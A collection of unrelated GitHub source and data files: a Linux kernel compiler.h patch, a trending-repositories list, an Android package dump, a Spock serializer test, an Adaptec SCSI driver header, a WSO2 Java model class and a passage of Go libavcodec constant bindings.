__cond_lock(x,c) ((c) ? ({ __acquire(x); 1; }) : 0) # define __percpu __attribute__((noderef, address_space(3))) +# define __pmem __attribute__((noderef, address_space(5))) #ifdef CONFIG_SPARSE_RCU_POINTER # define __rcu __attribute__((noderef, address_space(4))) #else @@ -42,6 +43,7 @@ extern void __chk_io_ptr(const volatile void __iomem *); # define __cond_lock(x,c) (c) # define __percpu # define __rcu +# define __pmem #endif /* Indirect macros required for expanded argument pasting, eg. __LINE__. */ @@ -54,7 +56,11 @@ extern void __chk_io_ptr(const volatile void __iomem *); #include <linux/compiler-gcc.h> #endif +#if defined(CC_USING_HOTPATCH) && !defined(__CHECKER__) +#define notrace __attribute__((hotpatch(0,0))) +#else #define notrace __attribute__((no_instrument_function)) +#endif /* Intel compiler defines __GNUC__. So we will overwrite implementations * coming from above header files here @@ -138,7 +144,7 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect); */ #define if(cond, ...) __trace_if( (cond , ## __VA_ARGS__) ) #define __trace_if(cond) \ - if (__builtin_constant_p((cond)) ? !!(cond) : \ + if (__builtin_constant_p(!!(cond)) ? !!(cond) : \ ({ \ int ______r; \ static struct ftrace_branch_data \ @@ -165,6 +171,10 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect); # define barrier() __memory_barrier() #endif +#ifndef barrier_data +# define barrier_data(ptr) barrier() +#endif + /* Unreachable code */ #ifndef unreachable # define unreachable() do { } while (1) @@ -186,6 +196,126 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect); # define __UNIQUE_ID(prefix) __PASTE(__PASTE(__UNIQUE_ID_, prefix), __LINE__) #endif +#include <linux/types.h> + +#define __READ_ONCE_SIZE \ +({ \ + switch (size) { \ + case 1: *(__u8 *)res = *(volatile __u8 *)p; break; \ + case 2: *(__u16 *)res = *(volatile __u16 *)p; break; \ + case 4: *(__u32 *)res = *(volatile __u32 *)p; break; \ + case 8: *(__u64 *)res = *(volatile __u64 *)p; break; \ + default: \ + barrier(); \ + __builtin_memcpy((void *)res, (const void *)p, size); \ + barrier(); \ + } \ +}) + +static __always_inline +void __read_once_size(const volatile void *p, void *res, int size) +{ + __READ_ONCE_SIZE; +} + +#ifdef CONFIG_KASAN +/* + * This function is not 'inline' because __no_sanitize_address confilcts + * with inlining. Attempt to inline it may cause a build failure. + * https://gcc.gnu.org/bugzilla/show_bug.cgi?id=67368 + * '__maybe_unused' allows us to avoid defined-but-not-used warnings. + */ +static __no_sanitize_address __maybe_unused +void __read_once_size_nocheck(const volatile void *p, void *res, int size) +{ + __READ_ONCE_SIZE; +} +#else +static __always_inline +void __read_once_size_nocheck(const volatile void *p, void *res, int size) +{ + __READ_ONCE_SIZE; +} +#endif + +static __always_inline void __write_once_size(volatile void *p, void *res, int size) +{ + switch (size) { + case 1: *(volatile __u8 *)p = *(__u8 *)res; break; + case 2: *(volatile __u16 *)p = *(__u16 *)res; break; + case 4: *(volatile __u32 *)p = *(__u32 *)res; break; + case 8: *(volatile __u64 *)p = *(__u64 *)res; break; + default: + barrier(); + __builtin_memcpy((void *)p, (const void *)res, size); + barrier(); + } +} + +/* + * Prevent the compiler from merging or refetching reads or writes. The + * compiler is also forbidden from reordering successive instances of + * READ_ONCE, WRITE_ONCE and ACCESS_ONCE (see below), but only when the + * compiler is aware of some particular ordering. One way to make the + * compiler aware of ordering is to put the two invocations of READ_ONCE, + * WRITE_ONCE or ACCESS_ONCE() in different C statements. + * + * In contrast to ACCESS_ONCE these two macros will also work on aggregate + * data types like structs or unions. If the size of the accessed data + * type exceeds the word size of the machine (e.g., 32 bits or 64 bits) + * READ_ONCE() and WRITE_ONCE() will fall back to memcpy and print a + * compile-time warning. + * + * Their two major use cases are: (1) Mediating communication between + * process-level code and irq/NMI handlers, all running on the same CPU, + * and (2) Ensuring that the compiler does not fold, spindle, or otherwise + * mutilate accesses that either do not require ordering or that interact + * with an explicit memory barrier or atomic instruction that provides the + * required ordering. + */ + +#define __READ_ONCE(x, check) \ +({ \ + union { typeof(x) __val; char __c[1]; } __u; \ + if (check) \ + __read_once_size(&(x), __u.__c, sizeof(x)); \ + else \ + __read_once_size_nocheck(&(x), __u.__c, sizeof(x)); \ + __u.__val; \ +}) +#define READ_ONCE(x) __READ_ONCE(x, 1) + +/* + * Use READ_ONCE_NOCHECK() instead of READ_ONCE() if you need + * to hide memory access from KASAN. + */ +#define READ_ONCE_NOCHECK(x) __READ_ONCE(x, 0) + +#define WRITE_ONCE(x, val) \ +({ \ + union { typeof(x) __val; char __c[1]; } __u = \ + { .__val = (__force typeof(x)) (val) }; \ + __write_once_size(&(x), __u.__c, sizeof(x)); \ + __u.__val; \ +}) + +/** + * smp_cond_acquire() - Spin wait for cond with ACQUIRE ordering + * @cond: boolean expression to wait for + * + * Equivalent to using smp_load_acquire() on the condition variable but employs + * the control dependency of the wait to reduce the barrier on many platforms. + * + * The control dependency provides a LOAD->STORE order, the additional RMB + * provides LOAD->LOAD order, together they provide LOAD->{LOAD,STORE} order, + * aka. ACQUIRE. + */ +#define smp_cond_acquire(cond) do { \ + while (!(cond)) \ + cpu_relax(); \ + smp_rmb(); /* ctrl + rmb := acquire */ \ +} while (0) + #endif /* __KERNEL__ */ #endif /* __ASSEMBLY__ */ @@ -304,6 +434,14 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect); #define __visible #endif +/* + * Assume alignment of return value. + */ +#ifndef __assume_aligned +#define __assume_aligned(a, ...) +#endif + + /* Are two types/vars the same type (ignoring qualifiers)? */ #ifndef __same_type # define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b)) @@ -311,7 +449,7 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect); /* Is this type a native word size -- useful for atomic operations */ #ifndef __native_word -# define __native_word(t) (sizeof(t) == sizeof(int) || sizeof(t) == sizeof(long)) +# define __native_word(t) (sizeof(t) == sizeof(char) || sizeof(t) == sizeof(short) || sizeof(t) == sizeof(int) || sizeof(t) == sizeof(long)) #endif /* Compile time object size, -1 for unknown */ @@ -373,12 +511,38 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect); * to make the compiler aware of ordering is to put the two invocations of * ACCESS_ONCE() in different C statements. * - * This macro does absolutely -nothing- to prevent the CPU from reordering, - * merging, or refetching absolutely anything at any time. Its main intended - * use is to mediate communication between process-level code and irq/NMI - * handlers, all running on the same CPU. + * ACCESS_ONCE will only work on scalar types. For union types, ACCESS_ONCE + * on a union member will work as long as the size of the member matches the + * size of the union and the size is smaller than word size. + * + * The major use cases of ACCESS_ONCE used to be (1) Mediating communication + * between process-level code and irq/NMI handlers, all running on the same CPU, + * and (2) Ensuring that the compiler does not fold, spindle, or otherwise + * mutilate accesses that either do not require ordering or that interact + * with an explicit memory barrier or atomic instruction that provides the + * required ordering. + * + * If possible use READ_ONCE()/WRITE_ONCE() instead. + */ +#define __ACCESS_ONCE(x) ({ \ + __maybe_unused typeof(x) __var = (__force typeof(x)) 0; \ + (volatile typeof(x) *)&(x); }) +#define ACCESS_ONCE(x) (*__ACCESS_ONCE(x)) + +/** + * lockless_dereference() - safely load a pointer for later dereference + * @p: The pointer to load + * + * Similar to rcu_dereference(), but for situations where the pointed-to + * object's lifetime is managed by something other than RCU. That + * "something other" might be reference counting or simple immortality. */ -#define ACCESS_ONCE(x) (*(volatile typeof(x) *)&(x)) +#define lockless_dereference(p) \ +({ \ + typeof(p) _________p1 = READ_ONCE(p); \ + smp_read_barrier_depends(); /* Dependency order vs. p above. */ \ + (_________p1); \ +}) /* Ignore/forbid kprobes attach on very low level functions marked by this attribute: */ #ifdef CONFIG_KPROBES -- 2.11.0
{ "pile_set_name": "Github" }
## 2018-07-15 #### python * [donnemartin / system-design-primer](https://github.com/donnemartin/system-design-primer):Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards. * [chubin / cheat.sh](https://github.com/chubin/cheat.sh):the only cheat sheet you need * [facebookincubator / xar](https://github.com/facebookincubator/xar):executable archive format * [jerry-git / learn-python3](https://github.com/jerry-git/learn-python3):Jupyter notebooks for teaching/learning Python 3 * [google / compare_gan](https://github.com/google/compare_gan): * [mkocabas / CoordConv-pytorch](https://github.com/mkocabas/CoordConv-pytorch):Pytorch implementation of CoordConv introduced in 'An intriguing failing of convolutional neural networks and the CoordConv solution' paper. (https://arxiv.org/pdf/1807.03247.pdf) * [tensorflow / models](https://github.com/tensorflow/models):Models and examples built with TensorFlow * [nbedos / termtosvg](https://github.com/nbedos/termtosvg):Record terminal sessions as SVG animations * [rg3 / youtube-dl](https://github.com/rg3/youtube-dl):Command-line program to download videos from YouTube.com and other video sites * [AtsushiSakai / PythonRobotics](https://github.com/AtsushiSakai/PythonRobotics):Python sample codes for robotics algorithms. * [keras-team / keras](https://github.com/keras-team/keras):Deep Learning for humans * [pallets / flask](https://github.com/pallets/flask):The Python micro framework for building web applications. * [openai / glow](https://github.com/openai/glow):Code for reproducing results in "Glow: Generative Flow with Invertible 1x1 Convolutions" * [pandas-dev / pandas](https://github.com/pandas-dev/pandas):Flexible and powerful data analysis / manipulation library for Python, providing labeled data structures similar to R data.frame objects, statistical functions, and much more * [ThoughtfulDev / EagleEye](https://github.com/ThoughtfulDev/EagleEye):Stalk your Friends. Find their Instagram, FB and Twitter Profiles using Image Recognition and Reverse Image Search. * [vinta / awesome-python](https://github.com/vinta/awesome-python):A curated list of awesome Python frameworks, libraries, software and resources * [MVIG-SJTU / pointSIFT](https://github.com/MVIG-SJTU/pointSIFT):a module for 3D semantic segmentation in point clouds. * [django / django](https://github.com/django/django):The Web framework for perfectionists with deadlines. * [needmorecowbell / Hamburglar](https://github.com/needmorecowbell/Hamburglar):Hamburglar -- collect useful information from directories and files * [toddmotto / public-apis](https://github.com/toddmotto/public-apis):A collective list of public JSON APIs for use in web development. * [scikit-learn / scikit-learn](https://github.com/scikit-learn/scikit-learn):scikit-learn: machine learning in Python * [ageitgey / face_recognition](https://github.com/ageitgey/face_recognition):The world's simplest facial recognition api for Python and the command line * [ansible / ansible](https://github.com/ansible/ansible):Ansible is a radically simple IT automation platform that makes your applications and systems easier to deploy. Avoid writing scripts or custom code to deploy and update your applications — automate in a language that approaches plain English, using SSH, with no agents to install on remote systems. https://docs.ansible.com/ansible/ * [quark0 / darts](https://github.com/quark0/darts):Differentiable architecture search for convolutional and recurrent networks * [python / cpython](https://github.com/python/cpython):The Python programming language #### swift * [BradLarson / GPUImage3](https://github.com/BradLarson/GPUImage3):GPUImage 3 is a BSD-licensed Swift framework for GPU-accelerated video and image processing using Metal. * [AudioKit / AudioKitSynthOne](https://github.com/AudioKit/AudioKitSynthOne):AudioKit Synth One: Open-Source iOS Synthesizer App * [serhii-londar / open-source-mac-os-apps](https://github.com/serhii-londar/open-source-mac-os-apps):🚀 Awesome list of open source applications for macOS. * [codePrincess / ARStarter](https://github.com/codePrincess/ARStarter):get started with ARKit - a little exercise for beginners * [ehrishirajsharma / Swiftness](https://github.com/ehrishirajsharma/Swiftness):Swiftness is a macOS productivity tool for bug hunters and security professionals to intensify penetration testing process with checklist and notes features. * [lhc70000 / iina](https://github.com/lhc70000/iina):The modern video player for macOS. * [Clipy / KeyHolder](https://github.com/Clipy/KeyHolder):Record shortcuts in macOS, like Alfred.app. * [vsouza / awesome-ios](https://github.com/vsouza/awesome-ios):A curated list of awesome iOS ecosystem, including Objective-C and Swift Projects * [Alamofire / Alamofire](https://github.com/Alamofire/Alamofire):Elegant HTTP Networking in Swift * [CocoaDebug / CocoaDebug](https://github.com/CocoaDebug/CocoaDebug):iOS Debugging Tool * [airbnb / Lona](https://github.com/airbnb/Lona):A tool for defining design systems and using them to generate cross-platform UI code, Sketch files, and other artifacts. * [ReactiveX / RxSwift](https://github.com/ReactiveX/RxSwift):Reactive Programming in Swift * [mac-cain13 / R.swift](https://github.com/mac-cain13/R.swift):Get strong typed, autocompleted resources like images, fonts and segues in Swift projects * [ElaWorkshop / TagListView](https://github.com/ElaWorkshop/TagListView):Simple and highly customizable iOS tag list view, in Swift. * [BradLarson / GPUImage2](https://github.com/BradLarson/GPUImage2):GPUImage 2 is a BSD-licensed Swift framework for GPU-accelerated video and image processing. * [rhdeck / react-native-vision](https://github.com/rhdeck/react-native-vision):Supporting advanced Vision and ML functionality with react native * [dkhamsing / open-source-ios-apps](https://github.com/dkhamsing/open-source-ios-apps):📱 Collaborative List of Open-Source iOS Apps * [SnapKit / SnapKit](https://github.com/SnapKit/SnapKit):A Swift Autolayout DSL for iOS & OS X * [cats-oss / Sica](https://github.com/cats-oss/Sica):🦌 Simple Interface Core Animation. Run type-safe animation sequencially or parallelly * [MontanaFlossCo / Flint](https://github.com/MontanaFlossCo/Flint):The Flint framework for building apps on Apple platforms using Feature Driven Development * [fossasia / susi_iOS](https://github.com/fossasia/susi_iOS):SUSI AI iOS app http://susi.ai * [alexaubry / BulletinBoard](https://github.com/alexaubry/BulletinBoard):General-purpose contextual cards for iOS * [MixinMessenger / ios-app](https://github.com/MixinMessenger/ios-app):iOS messenger, wallet and light node to the Mixin Network * [PopcornTimeTV / PopcornTimeTV](https://github.com/PopcornTimeTV/PopcornTimeTV):Popcorn Time for Apple TV 4, iPhone and iPad * [mozilla-mobile / firefox-ios](https://github.com/mozilla-mobile/firefox-ios):Firefox for iOS #### javascript * [joshwcomeau / guppy](https://github.com/joshwcomeau/guppy): * [phobal / ivideo](https://github.com/phobal/ivideo):一个可以观看国内主流视频平台所有视频的客户端(Mac、Windows、Linux) A client that can watch video of domestic(China) mainstream video platform * [nhnent / tui.image-editor](https://github.com/nhnent/tui.image-editor):🍞 🎨 Full-featured photo image editor using canvas. It is really easy, and it comes with great filters. * [vaneenige / phenomenon](https://github.com/vaneenige/phenomenon):🦄 A fast 2kB low-level WebGL API. GPU based with shaders. * [mixn / carbon-now-cli](https://github.com/mixn/carbon-now-cli):🎨 Beautiful images of your code — from right inside your terminal. * [browsh-org / browsh](https://github.com/browsh-org/browsh):A fully-modern text-based browser, rendering to TTY and browsers * [vuejs / vue](https://github.com/vuejs/vue):🖖 A progressive, incrementally-adoptable JavaScript framework for building UI on the web. * [kozhevnikov / proxymise](https://github.com/kozhevnikov/proxymise):Chainable Promise Proxy * [facebook / react](https://github.com/facebook/react):A declarative, efficient, and flexible JavaScript library for building user interfaces. * [trekhleb / javascript-algorithms](https://github.com/trekhleb/javascript-algorithms):Algorithms and data structures implemented in JavaScript with explanations and links to further readings * [facebook / create-react-app](https://github.com/facebook/create-react-app):Create React apps with no build configuration. * [justjavac / free-programming-books-zh_CN](https://github.com/justjavac/free-programming-books-zh_CN):📚 免费的计算机编程类中文书籍,欢迎投稿 * [kuckboy1994 / mp_canvas_drawer](https://github.com/kuckboy1994/mp_canvas_drawer):🚀 微信小程序上canvas绘制图片助手,一个json就制作分享朋友圈图片 * [gothinkster / realworld](https://github.com/gothinkster/realworld):"The mother of all demo apps" — Exemplary fullstack Medium.com clone powered by React, Angular, Node, Django, and many more 🏅 * [cncf / landscape](https://github.com/cncf/landscape):Static Cloud Native Landscapes and Interactive Landscape that filters and sorts hundreds of cloud native projects and products, and shows details including GitHub stars, funding or market cap, first and last commits, contributor counts, headquarters location, and recent tweets. * [axios / axios](https://github.com/axios/axios):Promise based HTTP client for the browser and node.js * [parcel-bundler / parcel](https://github.com/parcel-bundler/parcel):📦 🚀 Blazing fast, zero configuration web application bundler * [airbnb / javascript](https://github.com/airbnb/javascript):JavaScript Style Guide * [NervJS / taro](https://github.com/NervJS/taro):多端统一开发框架,支持用 React 的开发方式编写一次代码,生成能运行在微信小程序、H5、React Native 等的应用。 * [gokcan / react-shimmer](https://github.com/gokcan/react-shimmer):React <img> component that simulates a shimmer effect 🌠 while loading. * [llSourcell / Financial_Forecasting_with_TensorflowJS](https://github.com/llSourcell/Financial_Forecasting_with_TensorflowJS):This is the code for "Financial Forecasting with Tensorflow.js" By Siraj Raval on Youtube * [vuejs / vue-cli](https://github.com/vuejs/vue-cli):🛠️ Standard Tooling for Vue.js Development * [Kickball / awesome-selfhosted](https://github.com/Kickball/awesome-selfhosted):This is a list of Free Software network services and web applications which can be hosted locally. Selfhosting is the process of locally hosting and managing applications instead of renting from SaaS providers. * [zeit / next.js](https://github.com/zeit/next.js):Next.js is a lightweight framework for static and server‑rendered applications. * [lukeed / kleur](https://github.com/lukeed/kleur):The fastest Node.js library for formatting terminal text with ANSI colors~! #### go * [josephyzhou / github-trending](https://github.com/josephyzhou/github-trending):Tracking the most popular Github repos, updated daily * [iawia002 / annie](https://github.com/iawia002/annie):👾 Fast, simple and clean video downloader * [gaia-pipeline / gaia](https://github.com/gaia-pipeline/gaia):Build powerful pipelines in any programming language. * [FiloSottile / mkcert](https://github.com/FiloSottile/mkcert):A simple zero-config tool to make locally trusted development certificates with any names you'd like. * [golang / go](https://github.com/golang/go):The Go programming language * [haydenwoodhead / burner.kiwi](https://github.com/haydenwoodhead/burner.kiwi):No bullshit temporary mail service written in Go * [kubernetes / kubernetes](https://github.com/kubernetes/kubernetes):Production-Grade Container Scheduling and Management * [cosmos72 / gomacro](https://github.com/cosmos72/gomacro):Interactive Go interpreter and debugger with REPL, Eval, generics and Lisp-like macros * [integrii / flaggy](https://github.com/integrii/flaggy):Idiomatic Go input parsing with subcommands, positional values, and flags at any position. No required project or package layout and no external dependencies. * [avelino / awesome-go](https://github.com/avelino/awesome-go):A curated list of awesome Go frameworks, libraries and software * [jmoiron / sqlx](https://github.com/jmoiron/sqlx):general purpose extensions to golang's database/sql * [gokrazy / gokrazy](https://github.com/gokrazy/gokrazy):a pure-Go userland for your Raspberry Pi 3 appliances * [ory / oathkeeper](https://github.com/ory/oathkeeper):A cloud native Identity & Access Proxy (IAP) which authenticates and authorizes incoming HTTP requests. Inspired by the BeyondCorp / Zero Trust white paper. Written in Go. * [iikira / BaiduPCS-Go](https://github.com/iikira/BaiduPCS-Go):百度网盘客户端 - Go语言编写 * [gohugoio / hugo](https://github.com/gohugoio/hugo):The world’s fastest framework for building websites. * [kubernetes / ingress-gce](https://github.com/kubernetes/ingress-gce):Ingress controller for Google Cloud * [micro / go-config](https://github.com/micro/go-config):A pluggable config framework * [fatedier / frp](https://github.com/fatedier/frp):A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. * [jinzhu / gorm](https://github.com/jinzhu/gorm):The fantastic ORM library for Golang, aims to be developer friendly * [ethereum / go-ethereum](https://github.com/ethereum/go-ethereum):Official Go implementation of the Ethereum protocol * [perlin-network / noise](https://github.com/perlin-network/noise):A decentralized P2P networking stack written in Go. * [prometheus / prometheus](https://github.com/prometheus/prometheus):The Prometheus monitoring system and time series database. * [txthinking / brook](https://github.com/txthinking/brook):Brook is a cross-platform(Linux/MacOS/Windows/Android/iOS) proxy software * [astaxie / build-web-application-with-golang](https://github.com/astaxie/build-web-application-with-golang):A golang ebook intro how to build a web with golang * [minio / minio](https://github.com/minio/minio):Minio is an open source object storage server compatible with Amazon S3 APIs
{ "pile_set_name": "Github" }
package: name='com.politedroid' versionCode='6' versionName='1.5' platformBuildVersionName='5.0.1-1624448' sdkVersion:'14' targetSdkVersion:'21' uses-permission: name='android.permission.READ_CALENDAR' uses-permission: name='android.permission.RECEIVE_BOOT_COMPLETED' application-icon-120:'res/drawable-ldpi-v4/icon.png' application-icon-160:'res/drawable-mdpi-v4/icon.png' application-icon-240:'res/drawable-hdpi-v4/icon.png' application-icon-320:'res/drawable-xhdpi-v4/icon.png' application: label='' icon='res/drawable-mdpi-v4/icon.png' launchable-activity: name='com.politedroid.Preferences' label='Polite Droid' icon='' feature-group: label='' uses-feature: name='android.hardware.faketouch' uses-implied-feature: name='android.hardware.faketouch' reason='default feature for all apps' main other-receivers supports-screens: 'small' 'normal' 'large' 'xlarge' supports-any-density: 'true' locales: densities: '120' '160' '240' '320'
{ "pile_set_name": "Github" }
package io.dddbyexamples.eventsource.eventstore import io.dddbyexamples.eventsource.domain.shopitem.events.ItemBought import io.dddbyexamples.eventsource.domain.shopitem.events.ItemPaid import io.dddbyexamples.eventsource.domain.shopitem.events.ItemPaymentTimeout import spock.lang.Specification import spock.lang.Subject import static java.time.Instant.now class EventSerializerSpec extends Specification { final String ANY_TYPE = "ANY_TYPE" final String ANY_UUID = "9a94d251-5fdb-4f38-b308-9f72d2355467" @Subject EventSerializer eventSerializer = new EventSerializer() def "should parse ItemBought event"() { given: String body = """{ "type": "$ItemBought.TYPE", "uuid": "$ANY_UUID", "when": "2016-05-24T12:06:41.045Z" }""" when: ItemBought event = eventSerializer.deserialize(new EventDescriptor(body, now(), ANY_TYPE)) then: event.uuid.toString() == ANY_UUID } def "should parse ItemPaid event"() { given: String body = """{ "type": "$ItemPaid.TYPE", "uuid": "$ANY_UUID", "when": "2016-05-24T12:06:41.045Z" }""" when: ItemPaid event = eventSerializer.deserialize(new EventDescriptor(body, now(), ANY_TYPE)) then: event.uuid.toString() == ANY_UUID } def "should parse ItemPaymentTimeout event"() { given: String body = """{ "type": "$ItemPaymentTimeout.TYPE", "uuid": "$ANY_UUID", "when": "2016-05-24T12:06:41.045Z" }""" when: ItemPaymentTimeout event = eventSerializer.deserialize(new EventDescriptor(body, now(), ANY_TYPE)) then: event.uuid.toString() == ANY_UUID } }
{ "pile_set_name": "Github" }
#ifndef _AHA1740_H /* $Id$ * * Header file for the adaptec 1740 driver for Linux * * With minor revisions 3/31/93 * Written and (C) 1992,1993 Brad McLean. See aha1740.c * for more info * */ #include <linux/types.h> #define SLOTSIZE 0x5c /* EISA configuration registers & values */ #define HID0(base) (base + 0x0) #define HID1(base) (base + 0x1) #define HID2(base) (base + 0x2) #define HID3(base) (base + 0x3) #define EBCNTRL(base) (base + 0x4) #define PORTADR(base) (base + 0x40) #define BIOSADR(base) (base + 0x41) #define INTDEF(base) (base + 0x42) #define SCSIDEF(base) (base + 0x43) #define BUSDEF(base) (base + 0x44) #define RESV0(base) (base + 0x45) #define RESV1(base) (base + 0x46) #define RESV2(base) (base + 0x47) #define HID_MFG "ADP" #define HID_PRD 0 #define HID_REV 2 #define EBCNTRL_VALUE 1 #define PORTADDR_ENH 0x80 /* READ */ #define G2INTST(base) (base + 0x56) #define G2STAT(base) (base + 0x57) #define MBOXIN0(base) (base + 0x58) #define MBOXIN1(base) (base + 0x59) #define MBOXIN2(base) (base + 0x5a) #define MBOXIN3(base) (base + 0x5b) #define G2STAT2(base) (base + 0x5c) #define G2INTST_MASK 0xf0 /* isolate the status */ #define G2INTST_CCBGOOD 0x10 /* CCB Completed */ #define G2INTST_CCBRETRY 0x50 /* CCB Completed with a retry */ #define G2INTST_HARDFAIL 0x70 /* Adapter Hardware Failure */ #define G2INTST_CMDGOOD 0xa0 /* Immediate command success */ #define G2INTST_CCBERROR 0xc0 /* CCB Completed with error */ #define G2INTST_ASNEVENT 0xd0 /* Asynchronous Event Notification */ #define G2INTST_CMDERROR 0xe0 /* Immediate command error */ #define G2STAT_MBXOUT 4 /* Mailbox Out Empty Bit */ #define G2STAT_INTPEND 2 /* Interrupt Pending Bit */ #define G2STAT_BUSY 1 /* Busy Bit (attention pending) */ #define G2STAT2_READY 0 /* Host Ready Bit */ /* WRITE (and ReadBack) */ #define MBOXOUT0(base) (base + 0x50) #define MBOXOUT1(base) (base + 0x51) #define MBOXOUT2(base) (base + 0x52) #define MBOXOUT3(base) (base + 0x53) #define ATTN(base) (base + 0x54) #define G2CNTRL(base) (base + 0x55) #define ATTN_IMMED 0x10 /* Immediate Command */ #define ATTN_START 0x40 /* Start CCB */ #define ATTN_ABORT 0x50 /* Abort CCB */ #define G2CNTRL_HRST 0x80 /* Hard Reset */ #define G2CNTRL_IRST 0x40 /* Clear EISA Interrupt */ #define G2CNTRL_HRDY 0x20 /* Sets HOST ready */ /* This is used with scatter-gather */ struct aha1740_chain { u32 dataptr; /* Location of data */ u32 datalen; /* Size of this part of chain */ }; /* These belong in scsi.h */ #define any2scsi(up, p) \ (up)[0] = (((unsigned long)(p)) >> 16) ; \ (up)[1] = (((unsigned long)(p)) >> 8); \ (up)[2] = ((unsigned long)(p)); #define scsi2int(up) ( (((long)*(up)) << 16) + (((long)(up)[1]) << 8) + ((long)(up)[2]) ) #define xany2scsi(up, p) \ (up)[0] = ((long)(p)) >> 24; \ (up)[1] = ((long)(p)) >> 16; \ (up)[2] = ((long)(p)) >> 8; \ (up)[3] = ((long)(p)); #define xscsi2int(up) ( (((long)(up)[0]) << 24) + (((long)(up)[1]) << 16) \ + (((long)(up)[2]) << 8) + ((long)(up)[3]) ) #define MAX_CDB 12 #define MAX_SENSE 14 #define MAX_STATUS 32 struct ecb { /* Enhanced Control Block 6.1 */ u16 cmdw; /* Command Word */ /* Flag Word 1 */ u16 cne:1, /* Control Block Chaining */ :6, di:1, /* Disable Interrupt */ :2, ses:1, /* Suppress Underrun error */ :1, sg:1, /* Scatter/Gather */ :1, dsb:1, /* Disable Status Block */ ars:1; /* Automatic Request Sense */ /* Flag Word 2 */ u16 lun:3, /* Logical Unit */ tag:1, /* Tagged Queuing */ tt:2, /* Tag Type */ nd:1, /* No Disconnect */ :1, dat:1, /* Data transfer - check direction */ dir:1, /* Direction of transfer 1 = datain */ st:1, /* Suppress Transfer */ chk:1, /* Calculate Checksum */ :2, rec:1,:1; /* Error Recovery */ u16 nil0; /* nothing */ u32 dataptr; /* Data or Scatter List ptr */ u32 datalen; /* Data or Scatter List len */ u32 statusptr; /* Status Block ptr */ u32 linkptr; /* Chain Address */ u32 nil1; /* nothing */ u32 senseptr; /* Sense Info Pointer */ u8 senselen; /* Sense Length */ u8 cdblen; /* CDB Length */ u16 datacheck; /* Data checksum */ u8 cdb[MAX_CDB]; /* CDB area */ /* Hardware defined portion ends here, rest is driver defined */ u8 sense[MAX_SENSE]; /* Sense area */ u8 status[MAX_STATUS]; /* Status area */ Scsi_Cmnd *SCpnt; /* Link to the SCSI Command Block */ void (*done) (Scsi_Cmnd *); /* Completion Function */ }; #define AHA1740CMD_NOP 0x00 /* No OP */ #define AHA1740CMD_INIT 0x01 /* Initiator SCSI Command */ #define AHA1740CMD_DIAG 0x05 /* Run Diagnostic Command */ #define AHA1740CMD_SCSI 0x06 /* Initialize SCSI */ #define AHA1740CMD_SENSE 0x08 /* Read Sense Information */ #define AHA1740CMD_DOWN 0x09 /* Download Firmware (yeah, I bet!) */ #define AHA1740CMD_RINQ 0x0a /* Read Host Adapter Inquiry Data */ #define AHA1740CMD_TARG 0x10 /* Target SCSI Command */ #define AHA1740_ECBS 32 #define AHA1740_SCATTER 16 #define AHA1740_CMDLUN 1 #endif
{ "pile_set_name": "Github" }
/* * Copyright (c) 2019, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.wso2.identity.integration.test.rest.api.server.challenge.v1.model; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; import java.util.List; /** * This class is used to store data about the challenge questions. * Class will be sent in the response. * This is mapped to the request body. */ public class ServerChallengeModel { @Expose @SerializedName("questionSetId") private String questionSetId; @Expose @SerializedName("questions") private List<Questions> questions; @Override public String toString() { return "{" + "questionSetId='" + questionSetId + '\'' + ", questions=" + questions + '}'; } public ServerChallengeModel(String questionSetId, List<Questions> questions) { this.questionSetId = questionSetId; this.questions = questions; } public static class Questions { @Expose @SerializedName("locale") private String locale; @Expose @SerializedName("question") private String question; @Expose @SerializedName("questionId") private String questionId; public Questions(String locale, String question, String questionId) { this.locale = locale; this.question = question; this.questionId = questionId; } @Override public String toString() { return "{" + "locale='" + locale + '\'' + ", question='" + question + '\'' + ", questionId='" + questionId + '\'' + '}'; } } public static class ChallengeQuestionOperation { @Expose @SerializedName("challengeQuestion") private Questions challengeQuestion; @Expose @SerializedName("operation") private String operation; public ChallengeQuestionOperation(Questions challengeQuestion, String operation) { this.challengeQuestion = challengeQuestion; this.operation = operation; } } }
{ "pile_set_name": "Github" }
// Use of this source code is governed by a MIT license that can be found in the LICENSE file. // Giorgis ([email protected]) package avcodec //#cgo pkg-config: libavcodec //#include <libavcodec/avcodec.h> import "C" const ( AV_CODEC_FLAG_UNALIGNED = int(C.AV_CODEC_FLAG_UNALIGNED) AV_CODEC_FLAG_QSCALE = int(C.AV_CODEC_FLAG_QSCALE) AV_CODEC_FLAG_4MV = int(C.AV_CODEC_FLAG_4MV) AV_CODEC_FLAG_OUTPUT_CORRUPT = int(C.AV_CODEC_FLAG_OUTPUT_CORRUPT) AV_CODEC_FLAG_QPEL = int(C.AV_CODEC_FLAG_QPEL) AV_CODEC_FLAG_PASS1 = int(C.AV_CODEC_FLAG_PASS1) AV_CODEC_FLAG_PASS2 = int(C.AV_CODEC_FLAG_PASS2) AV_CODEC_FLAG_LOOP_FILTER = int(C.AV_CODEC_FLAG_LOOP_FILTER) AV_CODEC_FLAG_GRAY = int(C.AV_CODEC_FLAG_GRAY) AV_CODEC_FLAG_PSNR = int(C.AV_CODEC_FLAG_PSNR) AV_CODEC_FLAG_TRUNCATED = int(C.AV_CODEC_FLAG_TRUNCATED) AV_CODEC_FLAG_INTERLACED_DCT = int(C.AV_CODEC_FLAG_INTERLACED_DCT) AV_CODEC_FLAG_LOW_DELAY = int(C.AV_CODEC_FLAG_LOW_DELAY) AV_CODEC_FLAG_GLOBAL_HEADER = int(C.AV_CODEC_FLAG_GLOBAL_HEADER) AV_CODEC_FLAG_BITEXACT = 